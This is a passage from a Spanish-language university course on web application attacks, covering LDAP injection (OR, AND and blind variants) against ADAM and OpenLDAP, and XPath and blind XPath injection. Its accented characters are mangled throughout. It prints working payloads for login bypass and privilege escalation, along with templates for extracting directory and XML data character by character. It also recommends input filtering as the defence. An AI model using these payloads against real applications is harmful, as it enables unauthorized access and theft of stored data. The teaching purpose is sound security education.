Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

